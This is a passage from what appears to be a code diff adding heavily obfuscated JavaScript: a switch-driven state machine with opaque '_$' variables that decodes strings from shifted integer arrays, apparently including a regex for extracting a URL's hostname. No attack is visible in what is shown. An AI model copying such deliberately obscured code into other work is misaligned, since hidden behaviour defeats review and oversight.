_$cl; + _$cl = _$zy; + _$Zy = _$cl; + _$cl = 1769472; + _$vl = 1818624; + _$sl = 1622016; + _$nl = 1589248; + _$fl = 1900544; + _$ol = 1720320; + _$ll = 1818624; + _$hl = 1802240; + _$gl = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll, _$hl]; + _$zy = _$gl; + for (_$Vy = 0; _$Vy < _$zy.length; _$Vy++) { + _$cl = _$Ly; + _$vl = _$zy; + _$sl = _$Vy; + _$nl = _$vl[_$sl]; + _$fl = 14; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Ly = _$hl + } + _$cl = _$zy; + _$vl = _$LC; + _$sl = _$Zy; + _$nl = _$cl[_$vl](_$sl); + _$zy = _$nl; + _$cl = _$qg; + _$vl = _$Ly; + _$sl = _$cl[_$vl]; + _$qg = _$sl + } + _$cs -= 180; + continue; + case 209: + _$qy = _$Ml.j(_$BC); + _$Hy = []; + _$cs += 399; + continue; + case 210: + _$zg = _$Zg[4] + _$Zg[6]; + _$cs += 78; + continue; + case 211: + for (_$xp = 1; _$xp < _$wl.length; _$xp++) { + _$cl = _$wl; + _$vl = _$OC; + _$sl = _$xp; + _$nl = _$cl[_$vl](_$sl); + _$fl = _$dl; + _$ol = _$OC; + _$ll = _$xp; + _$hl = 1; + _$gl = _$ll - _$hl; + _$Zl = _$fl[_$ol](_$gl); + _$zl = _$nl - _$Zl; + _$El = _$bW(_$zl); + _$dl += _$El + } + _$cs += 267; + continue; + case 212: + _$hg = _$BC; + _$cs += 303; + continue; + case 213: + _$vA = _$vA.p(_$cA); + _$cs -= 146; + continue; + case 214: + _$xy = _$BC; + _$cs -= 150; + continue; + case 215: + _$By = _$bK.j(_$BC); + _$Xy = {}; + _$Fy = _$Qo + _$Ho + _$No + _$Ko + _$Yo + _$Oo + _$jo + _$Po + _$Lo + _$qo + _$Wo + _$Zo + _$Go + _$Do + _$Eo + _$Uo + _$Vo + _$Ro + _$zo + _$_o; + _$Jy = _$bW(_$Fy.d(0) - _$Fy.length); + _$cs += 106; + continue; + case 216: + _$$y = _$Ao + _$mo + _$Mo + _$wo + _$Io + _$So + _$Jk + _$do; + _$aw = function(_$a, _$e) { + var _$r = _$DA; + var _$c = _$KA; + var _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p; + for (_$v = 0; _$v < _$a.length; _$v++) { + _$s = _$a; + _$n = _$v; + _$f = _$s[_$n]; + _$t = _$e; + _$i = _$f === _$t; + if (_$i) { + _$s = _$v; + return _$s + } + } + _$s = []; + _$o = _$s; + _$n = _$r + _$c; + _$k = _$n; + for (_$b = _$k.length - 1; _$b >= 0; _$b--) { + _$s = _$o; + _$n = _$LC; + _$f = _$k; + _$t = _$_C; + _$i = _$b; + _$l = _$f[_$t](_$i); + _$s[_$n](_$l) + } + _$s = _$o; + _$n = _$RC; + _$f = _$BC; + _$t = _$s[_$n](_$f); + _$o = _$t; + _$s = _$k; + _$n = _$_C; + _$f = 5; + _$t = _$s[_$n](_$f); + _$i = _$o; + _$l = _$_C; + _$h = 4; + _$g = _$i[_$l](_$h); + _$u = _$t > _$g; + if (_$u) { + _$s = _$k; + _$n = _$EC; + _$f = _$s + _$n; + _$k = _$f + } + _$s = _$o; + _$n = _$k; + _$f = _$s + _$n; + _$p = _$f; + _$s = []; + _$k = _$s; + for (_$b = _$k.length - 1; _$b >= 4; _$b--) { + _$s = _$k; + _$n = _$LC; + _$f = _$p; + _$t = _$_C; + _$i = _$b; + _$l = _$f[_$t](_$i); + _$s[_$n](_$l) + } + _$s = _$k; + _$n = _$RC; + _$f = _$BC; + _$t = _$s[_$n](_$f); + _$k = _$t; + _$s = _$zC; + _$k += _$s; + _$s = _$ZC; + _$k += _$s; + _$s = _$_C; + _$k += _$s; + _$s = _$zC; + _$k += _$s; + _$s = _$p; + _$o = _$s; + _$s = _$k; + _$p = _$s; + _$s = _$k; + _$n = _$_C; + _$f = 5; + _$t = _$s[_$n](_$f); + _$i = _$o; + _$l = _$_C; + _$h = 7; + _$g = _$i[_$l](_$h); + _$u = _$t > _$g; + if (_$u) { + _$s = _$k; + _$n = _$NC; + _$f = _$s + _$n; + _$k = _$f + } + _$s = _$GC; + _$o += _$s; + _$s = 1; + _$n = -_$s; + return _$n + } + ; + _$ew = _$Vk + _$yo + _$ho + _$Ek + _$po + _$uo + _$go + _$lo; + _$rw = _$ew.length; + _$iw = 0; + _$cs += 386; + continue; + case 217: + _$du = _$aA; + _$cs += 279; + continue; + case 218: + for (_$og = 0; _$og < _$Ng.length; _$og++) { + _$cl = _$Eg; + _$vl = _$Ng; + _$sl = _$og; + _$nl = _$vl[_$sl]; + _$fl = 11; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Eg = _$hl + } + _$cs += 519; + continue; + case 219: + _$bg = _$lg; + _$cs += 202; + continue; + case 220: + _$zg = _$zg + _$Zg[8]; + _$cs -= 108; + continue; + case 221: + for (_$Xu = 0; _$Xu < 10; _$Xu++) { + _$cl = _$og; + _$vl = _$LC; + _$sl = _$Xu; + _$nl = 6; + _$fl = _$sl + _$nl; + _$cl[_$vl](_$fl) + } + _$cs += 473; + continue; + case 222: + _$Zg = _$Zg - _$Ng[2]; + _$cs -= 183; + continue; + case 223: + _$bg = _$bg + _$og[6]; + _$cs += 456; + continue; + case 224: + _$lY = _$_u; + _$cs += 2; + continue; + case 225: + _$bw = _$ko + _$bo + _$ao + _$vo + _$so + _$ro + _$co + _$fo + _$eo + _$to + _$no + _$io + _$oo; + _$lw = 1; + _$cs += 148; + continue; + case 226: + _$gw = _$pY; + _$cs += 565; + continue; + case 227: + _$tj = _$ij; + _$cs += 398; + continue; + case 228: + _$zg = _$zg - _$Zg[6]; + _$cs -= 8; + continue; + case 229: + if (_$wD) { + _$cl = _$eS; + _$uw = _$cl; + _$vl = 1; + _$pw = _$vl; + _$cl = _$pw; + _$vl = 1; + _$sl = _$cl + _$vl; + _$pw = _$sl; + _$cl = 1; + _$uw = _$cl; + _$cl = _$BC; + _$yw = _$cl; + _$cl = _$pw; + _$uw = _$cl; + _$cl = 3801088; + _$vl = 3637248; + _$sl = 3670016; + _$nl = [_$cl, _$vl, _$sl]; + _$pw = _$nl; + for (_$ww = 0; _$ww < _$pw.length; _$ww++) { + _$cl = _$yw; + _$vl = _$pw; + _$sl = _$ww; + _$nl = _$vl[_$sl]; + _$fl = 15; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$yw = _$hl + } + _$cl = _$pw; + _$vl = _$LC; + _$sl = _$uw; + _$nl = _$cl[_$vl](_$sl); + _$pw = _$nl; + _$cl = _$qg; + _$vl = _$yw; + _$sl = _$cl[_$vl]; + _$qg = _$sl + } + _$cs += 260; + continue; + case 230: + _$_j = [400, 444, 396, 468, 436, 404, 440, 464]; + _$cs += 250; + continue; + case 231: + _$dw = _$QD; + _$cs += 240; + continue; + case 232: + _$Zg[4] = _$zg - _$Zg[5]; + _$cs += 338; + continue; + case 233: + _$Iw = _$Du; + _$cs += 527; + continue; + case 234: + _$qh = [7274496, 7667712, 7602176, 6619136, 7471104, 5701632, 6881280, 6553600, 7602176, 6815744]; + _$cs -= 100; + continue; + case 235: + if (_$wD) { + _$cl = _$GS; + _$Aw = _$cl; + _$vl = 1; + _$Sw = _$vl; + _$cl = _$Sw; + _$vl = 1; + _$sl = _$cl + _$vl; + _$Sw = _$sl; + _$cl = 1; + _$Aw = _$cl; + _$cl = _$BC; + _$mw = _$cl; + _$cl = _$Sw; + _$Aw = _$cl; + _$cl = 237568; + _$vl = 227328; + _$sl = 229376; + _$nl = [_$cl, _$vl, _$sl]; + _$Sw = _$nl; + for (_$Tw = 0; _$Tw < _$Sw.length; _$Tw++) { + _$cl = _$mw; + _$vl = _$Sw; + _$sl = _$Tw; + _$nl = _$vl[_$sl]; + _$fl = 11; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$mw = _$hl + } + _$cl = _$Sw; + _$vl = _$LC; + _$sl = _$Aw; + _$nl = _$cl[_$vl](_$sl); + _$Sw = _$nl; + _$cl = _$qg; + _$vl = _$mw; + _$sl = _$cl[_$vl]; + _$qg = _$sl + } + _$cs += 369; + continue; + case 236: + _$jw = _$BC; + _$cs += 480; + continue; + case 237: + _$Cw = typeof _$SW[_$cw] === _$Iu; + _$Dw = 1; + _$Kw = _$QS; + _$Qw = _$bW(_$Kw.d(0) - _$Kw.length); + _$cs += 529; + continue; + case 238: + _$zg = _$zg.j(_$BC); + _$cs -= 212; + continue; + case 239: + _$DW = _$Md; + _$cs += 515; + continue; + case 240: + _$FT = _$FT.p(_$XT); + _$cs += 547; + continue; + case 241: + for (_$ng = _$zg.length - 1; _$ng >= 4; _$ng--) { + _$cl = _$zg; + _$vl = _$LC; + _$sl = _$Eg; + _$nl = _$_C; + _$fl = _$ng; + _$ol = _$sl[_$nl](_$fl); + _$cl[_$vl](_$ol) + } + _$cs -= 3; + continue; + case 242: + _$Ww = _$BC; + _$cs += 170; + continue; + case 243: + for (_$Yw = 0, + _$Uw = _$mW.length; _$Yw < _$Uw; ++_$Yw) { + _$cl = _$CW; + _$vl = _$LC; + _$sl = _$mW; + _$nl = _$Yw; + _$fl = _$sl[_$nl]; + _$ol = 35; + _$ll = _$fl & _$ol; + _$cl[_$vl](_$ll) + } + _$cs += 196; + continue; + case 244: + if (_$zg.c(5) > _$Zg.c(7)) { + _$cl = _$zg; + _$vl = _$NC; + _$sl = _$cl + _$vl; + _$zg = _$sl + } + _$cs += 398; + continue; + case 245: + for (_$hg = 0; _$hg < _$VY.length; _$hg++) { + _$cl = _$lg; + _$vl = _$hg; + _$sl = _$VY; + _$nl = _$hg; + _$fl = _$sl[_$nl]; + _$cl[_$vl] = _$fl + } + _$cs += 202; + continue; + case 246: + _$Ow = _$BC; + _$cs -= 153; + continue; + case 247: + _$Ng[4] = _$Zg - _$Ng[5]; + _$cs += 281; + continue; + case 248: + _$BQ = _$BQ + 1; + _$cs += 265; + continue; + case 249: + if (_$wD && _$qg) { + try { + _$cl = _$zA; + _$Pw = _$cl; + _$vl = 1; + _$Gw = _$vl; + _$cl = _$Gw; + _$vl = 1; + _$sl = _$cl + _$vl; + _$Gw = _$sl; + _$cl = 1; + _$Pw = _$cl; + _$cl = _$BC; + _$Nw = _$cl; + _$cl = _$Gw; + _$Pw = _$cl; + _$cl = 368; + _$vl = 476; + _$sl = 172; + _$nl = 232; + _$fl = 368; + _$ol = 188; + _$ll = 368; + _$hl = 188; + _$gl = 160; + _$Zl = 364; + _$zl = 376; + _$El = 368; + _$Rl = 188; + _$_l = 232; + _$Ll = 372; + _$Vl = 172; + _$ql = 164; + _$tu = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll, _$hl, _$gl, _$Zl, _$zl, _$El, _$Rl, _$_l, _$Ll, _$Vl, _$ql]; + _$Gw = _$tu; + for (_$zw = 0; _$zw < _$Gw.length; _$zw++) { + _$cl = _$Nw; + _$vl = _$Gw; + _$sl = _$zw; + _$nl = _$vl[_$sl]; + _$fl = 2; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Nw = _$hl + } + _$cl = _$Gw; + _$vl = _$LC; + _$sl = _$Pw; + _$nl = _$cl[_$vl](_$sl); + _$Gw = _$nl; + _$cl = _$ZA; + _$Ew = _$cl; + _$vl = 1; + _$Rw = _$vl; + _$cl = _$Rw; + _$vl = 1; + _$sl = _$cl + _$vl; + _$Rw = _$sl; + _$cl = 1; + _$Ew = _$cl; + _$cl = _$BC; + _$_w = _$cl; + _$cl = _$Rw; + _$Ew = _$cl; + _$cl = 116736; + _$vl = 103424; + _$sl = 114688; + _$nl = 110592; + _$fl = 99328; + _$ol = 101376; + _$ll = 103424; + _$hl = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll]; + _$Rw = _$hl; + for (_$Lw = 0; _$Lw < _$Rw.length; _$Lw++) { + _$cl = _$_w; + _$vl = _$Rw; + _$sl = _$Lw; + _$nl = _$vl[_$sl]; + _$fl = 10; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$_w = _$hl + } + _$cl = _$Rw; + _$vl = _$LC; + _$sl = _$Ew; + _$nl = _$cl[_$vl](_$sl); + _$Rw = _$nl; + _$cl = _$NA; + _$Vw = _$cl; + _$vl = 1; + _$qw = _$vl; + _$cl = _$qw; + _$vl = 1; + _$sl = _$cl + _$vl; + _$qw = _$sl; + _$cl = 1; + _$Vw = _$cl; + _$cl = _$BC; + _$Hw = _$cl; + _$cl = _$qw; + _$Vw = _$cl; + _$cl = 238; + _$vl = 238; + _$sl = 238; + _$nl = [_$cl, _$vl, _$sl]; + _$qw = _$nl; + for (_$xw = 0; _$xw < _$qw.length; _$xw++) { + _$cl = _$Hw; + _$vl = _$qw; + _$sl = _$xw; + _$nl = _$vl[_$sl]; + _$fl = 1; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Hw = _$hl + } + _$cl = _$qw; + _$vl = _$LC; + _$sl = _$Vw; + _$nl = _$cl[_$vl](_$sl); + _$qw = _$nl; + _$cl = _$$i + _$xi + _$Fi + _$Ji; + _$Bw = _$cl; + _$vl = function(_$a, _$e) { + var _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g; + for (_$r = 0; _$r < _$a.length; _$r++) { + _$c = _$a; + _$v = _$r; + _$s = _$c[_$v]; + _$n = _$e; + _$f = _$s === _$n; + if (_$f) { + _$c = _$r; + return _$c + } + } + _$c = []; + _$t = _$c; + for (_$o = 0; _$o < 10; _$o++) { + _$c = _$t; + _$v = _$LC; + _$s = _$o; + _$n = 6; + _$f = _$s + _$n; + _$c[_$v](_$f) + } + _$c = _$t; + _$v = 4; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 6; + _$k = _$n[_$f]; + _$b = _$s + _$k; + _$i = _$b; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 7; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$t; + _$v = 6; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$l = 0; + _$h = _$b > _$l; + if (_$h) { + _$c = _$i; + _$v = _$t; + _$s = 3; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$k = _$t; + _$b = 5; + _$l = _$k[_$b]; + _$h = _$f - _$l; + _$i = _$h + } else { + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f + } + _$c = _$t; + _$v = 8; + _$s = _$i; + _$n = _$t; + _$f = 4; + _$k = _$n[_$f]; + _$b = _$s / _$k; + _$c[_$v] = _$b; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 8; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 4; + _$n = _$v[_$s]; + _$f = _$c / _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c - _$n; + if (_$f) { + _$c = _$i; + _$v = _$t; + _$s = 3; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f + } + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$t; + _$v = 0; + _$s = _$c[_$v]; + _$g = _$s; + _$c = _$t; + _$v = 8; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$l = 0; + _$h = _$b > _$l; + if (_$h) { + _$c = _$i; + _$v = _$t; + _$s = 4; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$k = _$t; + _$b = 5; + _$l = _$k[_$b]; + _$h = _$f - _$l; + _$i = _$h + } else { + _$c = _$i; + _$v = _$t; + _$s = 0; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f + } + _$c = _$t; + _$v = 4; + _$s = _$i; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$c[_$v] = _$b; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 8; + _$n = _$v[_$s]; + _$f = _$c / _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = 1; + _$v = -_$c; + return _$v + } + ; + _$$w = _$vl; + _$sl = _$Vk + _$qi + _$Li + _$Vi + _$Hi + _$_i + _$lo; + _$ad = _$sl; + _$nl = _$ad; + _$fl = _$PC; + _$ol = _$nl[_$fl]; + _$ed = _$ol; + _$ll = 0; + _$fd = _$ll; + _$cl = []; + _$td = _$cl; + _$cl = _$Bw; + _$vl = _$PC; + _$sl = _$cl[_$vl]; + _$nl = 4; + _$fl = _$sl / _$nl; + _$rd = _$fl; + for (_$id = 0; _$id < _$rd; _$id++) { + _$cl = _$ad; + _$vl = _$Bw; + _$sl = _$_C; + _$nl = _$fd; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$$w(_$cl, _$fl); + _$nd = _$ol; + _$fd++; + _$cl = _$ad; + _$vl = _$Bw; + _$sl = _$_C; + _$nl = _$fd; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$$w(_$cl, _$fl); + _$sd = _$ol; + _$fd++; + _$cl = _$ad; + _$vl = _$Bw; + _$sl = _$_C; + _$nl = _$fd; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$$w(_$cl, _$fl); + _$vd = _$ol; + _$fd++; + _$cl = _$ad; + _$vl = _$Bw; + _$sl = _$_C; + _$nl = _$fd; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$$w(_$cl, _$fl); + _$cd = _$ol; + _$fd++; + _$cl = _$td; + _$vl = _$id; + _$sl = _$nd; + _$nl = _$ed; + _$fl = _$sl * _$nl; + _$ol = _$ed; + _$ll = _$fl * _$ol; + _$hl = _$ed; + _$gl = _$ll * _$hl; + _$Zl = _$sd; + _$zl = _$ed; + _$El = _$Zl * _$zl; + _$Rl = _$ed; + _$_l = _$El * _$Rl; + _$Ll = _$gl + _$_l; + _$Vl = _$vd; + _$ql = _$ed; + _$tu = _$Vl * _$ql; + _$iu = _$Ll + _$tu; + _$ou = _$cd; + _$ku = _$iu + _$ou; + _$cl[_$vl] = _$ku + } + _$cl = _$BC; + _$rd = _$cl; + for (_$od = 0; _$od < _$td.length; _$od++) { + _$cl = _$td; + _$vl = _$od; + _$sl = _$cl[_$vl]; + _$nl = _$bW(_$sl); + _$rd += _$nl + } + _$cl = _$Dw; + _$vl = _$Nw; + _$sl = new _$cl(_$vl); + _$nl = _$rd; + _$fl = _$qg; + _$ol = _$sl[_$nl](_$fl); + _$ll = 1; + _$hl = _$ol[_$ll]; + _$gl = _$_w; + _$Zl = _$Hw; + _$zl = _$GA; + _$El = _$hl[_$gl](_$Zl, _$zl); + _$yD = _$El + } catch (_$fs) {} + } + _$cs += 352; + continue; + case 250: + _$YD = 1; + _$cs -= 36; + continue; + case 251: + if (!_$Zg) { + _$cl = 5; + _$vl = _$ng; + _$sl = _$cl + _$vl; + _$nl = 3; + _$fl = _$sl >> _$nl; + _$Zg = _$fl + } + _$cs += 455; + continue; + case 252: + _$bd = _$SU(1925 - 1666, _$cp); + _$ld = _$BC; + _$hd = _$hi + _$ni + _$zi + _$Ci + _$Ki + _$Ri + _$wi + _$Ni + _$yi + _$mi + _$Gi + _$di + _$ji + _$Di + _$Ui + _$Oi + _$si + _$ii + _$li + _$ti + _$Wi + _$Ii + _$Ti + _$Ai + _$fi + _$Pi + _$Qi + _$Si + _$ui + _$pi + _$vi + _$Mi + _$ki + _$oi + _$Zi + _$bi + _$Ei + _$gi + _$Yi; + _$gd = 1; + _$cs += 505; + case 253: + _$gd = _$hd; + _$cs -= 448; + continue; + case 254: + _$Md = 0; + _$cs += 282; + continue; + case 255: + for (_$Ad = 1, + _$Sd = _$ID.length; _$Ad < _$Sd; _$Ad += 2) { + _$cl = _$wW; + _$vl = _$LC; + _$sl = _$ID; + _$nl = _$Ad; + _$fl = _$sl[_$nl]; + _$cl[_$vl](_$fl) + } + _$cs += 379; + continue; + case 256: + _$gD = _$gD.p(_$hD); + _$cs += 298; + continue; + case 257: + for (_$md = 0, + _$Td = _$Ag.length; _$md < _$Td; ++_$md) { + _$cl = _$UW; + _$vl = _$LC; + _$sl = _$Ag; + _$nl = _$md; + _$fl = _$sl[_$nl]; + _$ol = 9; + _$ll = _$fl ^ _$ol; + _$cl[_$vl](_$ll) + } + _$cs -= 122; + continue; + case 258: + _$tj = 1; + _$cs += 35; + continue; + case 259: + _$Gg = _$ea; + _$Ng = 1; + _$cs += 282; + continue; + case 260: + _$tD = _$iD; + _$cs += 391; + continue; + case 261: + _$Zu = _$Zu.p(_$Nu); + _$cs += 329; + continue; + case 262: + _$qT = 1; + _$cs += 96; + continue; + case 263: + if (_$Zg[8] - _$Zg[5] > 0) { + _$cl = _$zg; + _$vl = _$Zg; + _$sl = 4; + _$nl = _$vl[_$sl]; + _$fl = _$cl + _$nl; + _$zg = _$fl; + _$cl = _$zg; + _$vl = _$Zg; + _$sl = 6; + _$nl = _$vl[_$sl]; + _$fl = _$cl + _$nl; + _$ol = _$Zg; + _$ll = 5; + _$hl = _$ol[_$ll]; + _$gl = _$fl - _$hl; + _$zg = _$gl + } else { + _$cl = _$zg; + _$vl = _$Zg; + _$sl = 0; + _$nl = _$vl[_$sl]; + _$fl = _$cl * _$nl; + _$zg = _$fl; + _$cl = _$zg; + _$vl = _$Zg; + _$sl = 2; + _$nl = _$vl[_$sl]; + _$fl = _$cl - _$nl; + _$zg = _$fl + } + _$cs += 417; + continue; + case 264: + _$mW = _$LY; + _$cs += 315; + continue; + case 265: + _$jd = typeof _$BW[_$hg] === _$ig; + _$cs -= 18; + continue; + case 266: + _$zg = _$zg / _$Zg[8]; + _$cs += 200; + continue; + case 267: + _$ij = _$ij.p(_$tj); + _$cs += 525; + case 268: + _$Cd = typeof _$SW[_$qI] === _$gg; + _$Dd = _$aa; + _$Kd = 1; + _$cs -= 350; + continue; + case 269: + _$oC = _$oC.p(_$iC); + _$cs -= 53; + continue; + case 270: + _$Zu = _$Zu + 1; + _$cs += 157; + continue; + case 271: + _$UD = [24832, 14080, 14336, 13824, 13312, 13824, 24832, 24832, 12288, 25344, 12800, 26112, 13568, 12800, 13824, 25856]; + _$cs += 185; + continue; + case 272: + _$og[4] = _$bg - _$og[5]; + _$cs += 320; + continue; + case 273: + for (_$Qd = 0; _$Qd < _$Uu.length; _$Qd++) { + _$cl = _$pu; + _$vl = _$Uu; + _$sl = _$Qd; + _$nl = _$vl[_$sl]; + _$fl = 10; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$pu = _$hl + } + _$cs += 13; + continue; + case 274: + _$$u = _$$u.p(_$Ju); + _$cs -= 263; + continue; + case 275: + for (_$Wd = 0; _$Wd < _$nQ.length; ) { + _$cl = _$Su; + _$vl = _$_C; + _$sl = _$nQ; + _$nl = _$_C; + _$fl = _$Wd; + _$ol = _$sl[_$nl](_$fl); + _$ll = _$OC; + _$hl = _$ol[_$ll](); + _$gl = 32; + _$Zl = _$hl - _$gl; + _$zl = _$cl[_$vl](_$Zl); + _$Yd = _$zl; + _$El = _$Su; + _$Rl = _$_C; + _$_l = _$nQ; + _$Ll = _$_C; + _$Vl = _$Wd; + _$ql = 1; + _$tu = _$Vl + _$ql; + _$iu = _$_l[_$Ll](_$tu); + _$ou = _$OC; + _$ku = _$iu[_$ou](); + _$bu = 32; + _$lu = _$ku - _$bu; + _$hu = _$El[_$Rl](_$lu); + _$Ud = _$hu; + _$cl = _$fQ; + _$vl = _$Yd; + _$sl = _$Ud; + _$cl[_$vl] = _$sl; + _$cl = _$Wd; + _$vl = 2; + _$sl = _$cl + _$vl; + _$Wd = _$sl + } + _$cs += 294; + continue; + case 276: + _$qh = _$qh.p(_$Vh); + _$cs += 226; + continue; + case 277: + for (_$Od = 1; _$Od < _$Ku.length; _$Od++) { + _$cl = _$Ku; + _$vl = _$OC; + _$sl = _$Od; + _$nl = _$cl[_$vl](_$sl); + _$fl = _$Qu; + _$ol = _$OC; + _$ll = _$Od; + _$hl = 1; + _$gl = _$ll - _$hl; + _$Zl = _$fl[_$ol](_$gl); + _$zl = _$nl - _$Zl; + _$El = _$bW(_$zl); + _$Qu += _$El + } + _$cs += 438; + case 278: + _$Pd = _$Qu; + _$cs += 73; + continue; + case 279: + for (_$Gd = 0; _$Gd < _$Lu.length; ) { + _$cl = _$vu; + _$vl = _$_C; + _$sl = _$Lu; + _$nl = _$_C; + _$fl = _$Gd; + _$ol = _$sl[_$nl](_$fl); + _$ll = _$OC; + _$hl = _$ol[_$ll](); + _$gl = 32; + _$Zl = _$hl - _$gl; + _$zl = _$cl[_$vl](_$Zl); + _$Nd = _$zl; + _$El = _$vu; + _$Rl = _$_C; + _$_l = _$Lu; + _$Ll = _$_C; + _$Vl = _$Gd; + _$ql = 1; + _$tu = _$Vl + _$ql; + _$iu = _$_l[_$Ll](_$tu); + _$ou = _$OC; + _$ku = _$iu[_$ou](); + _$bu = 32; + _$lu = _$ku - _$bu; + _$hu = _$El[_$Rl](_$lu); + _$Zd = _$hu; + _$cl = _$qu; + _$vl = _$Nd; + _$sl = _$Zd; + _$cl[_$vl] = _$sl; + _$cl = _$Gd; + _$vl = 2; + _$sl = _$cl + _$vl; + _$Gd = _$sl + } + _$cs += 418; + continue; + case 280: + _$Rd = _$BC; + _$cs -= 221; + continue; + case 281: + _$Lg = _$Gy.j(_$BC); + _$_d = {}; + _$Ep = _$Wk + _$Lt + _$ai + _$Ft + _$Vt + _$Kk + _$xt + _$ri + _$Jt + _$Bt + _$ik + _$uk + _$Ht + _$qt + _$$t + _$Vo + _$ci + _$Xt; + _$Ld = _$bW(_$Ep.d(0) - _$Ep.length); + _$cs += 501; + continue; + case 282: + for (_$Vd = 0; _$Vd < _$ow.length; _$Vd++) { + _$cl = _$ow; + _$vl = _$Vd; + _$sl = _$cl[_$vl]; + _$nl = _$bW(_$sl); + _$cw += _$nl + } + _$cs -= 45; + continue; + case 283: + if (_$rA === _$DW && _$rA[_$_I + _$LC] && (_$rA = _$rA[_$vj + _$LC]) && _$rA[_$aA] && _$rA[_$Ug][_$qy]) { + _$cl = _$tY; + _$vl = 24; + _$sl = _$cl[_$vl]; + _$nl = _$FW; + _$fl = 6; + _$ol = _$nl[_$fl]; + _$ll = _$LY; + _$hl = 2; + _$gl = _$ll[_$hl]; + _$Zl = _$LY; + _$zl = 0; + _$El = _$Zl[_$zl]; + _$Rl = _$FW; + _$_l = 11; + _$Ll = _$Rl[_$_l]; + _$Vl = _$FW; + _$ql = 4; + _$tu = _$Vl[_$ql]; + _$iu = _$RY; + _$ou = 9; + _$ku = _$iu[_$ou]; + _$bu = _$RY; + _$lu = 10; + _$hu = _$bu[_$lu]; + _$qd = [_$sl, _$ol, _$gl, _$El, _$Ll, _$tu, _$ku, _$hu]; + _$Hd = _$qd; + _$xd = _$LY; + _$Bd = 7; + _$Xd = _$xd[_$Bd]; + _$Fd = _$RY; + _$$d = 9; + _$eM = _$Fd[_$$d]; + _$rM = _$FW; + _$cM = 1; + _$vM = _$rM[_$cM]; + _$sM = _$FW; + _$nM = 11; + _$iM = _$sM[_$nM]; + _$oM = _$tY; + _$kM = 10; + _$bM = _$oM[_$kM]; + _$lM = _$LY; + _$hM = 0; + _$gM = _$lM[_$hM]; + _$uM = _$tY; + _$pM = 27; + _$yM = _$uM[_$pM]; + _$wM = _$FW; + _$dM = 3; + _$MM = _$wM[_$dM]; + _$IM = [_$Xd, _$eM, _$vM, _$iM, _$bM, _$gM, _$yM, _$MM]; + _$AM = _$IM; + _$SM = _$FW; + _$mM = 14; + _$TM = _$SM[_$mM]; + _$jM = _$FW; + _$CM = 3; + _$DM = _$jM[_$CM]; + _$KM = 112; + _$QM = _$RY; + _$WM = 24; + _$YM = _$QM[_$WM]; + _$UM = _$tY; + _$OM = 0; + _$PM = _$UM[_$OM]; + _$GM = _$tY; + _$NM = 2; + _$ZM = _$GM[_$NM]; + _$zM = _$FW; + _$EM = 3; + _$_M = _$zM[_$EM]; + _$LM = [_$TM, _$DM, _$KM, _$YM, _$PM, _$ZM, _$_M]; + _$VM = _$LM; + _$qM = _$tY; + _$HM = 8; + _$xM 